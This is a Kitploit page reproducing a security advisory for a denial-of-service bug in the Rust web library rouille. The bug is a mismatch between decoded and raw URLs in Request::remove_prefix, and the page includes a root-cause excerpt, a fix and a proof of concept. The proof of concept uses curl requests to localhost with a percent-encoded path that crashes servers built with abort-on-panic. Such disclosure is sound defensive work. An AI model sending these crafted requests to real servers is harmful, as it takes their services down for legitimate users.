Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille- — Уведомление о безопасности: удалённый отказ в обслуживании из-за достижимого утверждения при обработке префикса URL (rouille) | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-
Анализ уязвимостейВеб-безопасностьСтатьи и ИсследованияОбучение и Образование
GitHubtheopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-

CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille-

Уведомление о безопасности: удалённый отказ в обслуживании из-за достижимого утверждения при обработке префикса URL (rouille)

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
23 дней назадЕщё не проверено

Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)

Assigned CVE ID: CVE-2026-66754

Summary

Request::remove_prefix проверяет процентно-декодированный URL, но выполняет assert над сырым. Запрос, чей декодированный путь начинается с префикса, а сырой путь — нет, проходит проверку и вызывает срабатывание assert. Достаточно процентно-закодировать один символ префикса.

При сборке по умолчанию паника перехватывается и превращается в 500. При сборке с panic = "abort" перехватить её нечем, и один неаутентифицированный GET завершает процесс сервера.

Affected versions

Repo URL: https://github.com/tomaka/rouille

First affected0.1.6 (2016-09-22), the release that introduced remove_prefix
Last affected3.6.2 (2023-04-24), the current release
Not affected0.1.5 and earlier, which have no remove_prefix
Fixed inno fixed version at time of writing

The function is unchanged across every release in that range and in current master. Applications are affected if they call Request::remove_prefix, which is the pattern rouille documents for serving static files under a URL prefix (src/assets.rs lines 66 to 75, and src/lib.rs lines 804 to 811).

Severity

CWE-617 (Reachable Assertion), leading to CWE-248 (Uncaught Exception).

CVSS 4.0 base score 8.2 (High) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Threat model

A remote, unauthenticated client that can send one GET request. No credentials and no user interaction.

panic = "abort" is not Cargo's default, but it is a common release profile choice for smaller binaries and lower overhead. rouille depends on unwinding for availability, since Server::process relies on panic::catch_unwind at src/lib.rs line 602 to convert handler panics into a 500. That dependency is not documented.

Root cause

rouille/src/lib.rs, lines 813 to 822:

root@kitploit:~
813      pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814          if !self.url().starts_with(prefix) {
815              return None;
816          }
817  
818          // TODO: url-encoded characters in the prefix are not implemented
819          assert!(self.url.starts_with(prefix));
820          Some(Request {
821              method: self.method.clone(),
822              url: self.url[prefix.len()..].to_owned(),

Line 814 calls self.url(), which percent-decodes. Line 819 asserts on self.url, the raw field, and line 822 slices that same raw field. The two representations disagree whenever the path contains a percent escape inside the prefix:

The same mismatch also means remove_prefix never routes a legitimately percent-encoded path, so the correctness bug and the availability bug share a fix.

Proof of Concept

Step 1. Start a server using the documented prefix idiom.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8003", |request| {
        if let Some(r) = request.remove_prefix("/static") {
            return rouille::match_assets(&r, ".");
        }
        Response::text("home")
    });
}

Step 2. Send a benign request and an equivalent request with s percent-encoded. --path-as-is stops curl from normalising the path.

root@kitploit:~
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

Result on a default build. The first is a normal 404 for a missing file, the second is a panic turned into a 500:

root@kitploit:~
404
500

with this on stderr:

root@kitploit:~
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)

Step 3. Rebuild the same program with abort-on-panic and repeat the second request.

root@kitploit:~
[profile.release]
panic = "abort"
root@kitploit:~
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

Result. The process terminates with SIGABRT (exit code 134) and the server stops answering. One request, no authentication, total loss of availability.

Impact

On builds with panic = "abort", a single unauthenticated request stops the server. On default builds, requests whose path contains a percent escape within the prefix return 500 instead of being served, so the routing is also incorrect for legitimate clients.

Note that the panic cannot poison the mutex that Server::process unwraps outside catch_unwind at src/lib.rs lines 643 and 649, because remove_prefix only clones the Arc and never holds a guard. On unwinding builds the worker thread recovers cleanly.

Remediation

Perform the comparison and the slice on the same representation. The simplest correct version compares and slices the raw URL:

root@kitploit:~
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
    if !self.url.starts_with(prefix) {
        return None;
    }
    Some(Request {
        url: self.url[prefix.len()..].to_owned(),
        ..
    })
}

If the decoded-comparison behaviour is intended, decode the URL once, strip the prefix from the decoded string, and re-encode the remainder rather than slicing the raw field.

Either way the assert! should go. A library should not abort the process on attacker-controlled input. Documenting that rouille requires panic = "unwind", or removing the reliance on catch_unwind for correctness, would also help.

Скачать инструмент
Raw URLurl() decodedLine 814Line 819
/static/x/static/xpassespasses
/%73tatic/x/static/xpassesfails
/stati%63/x/static/xpassesfails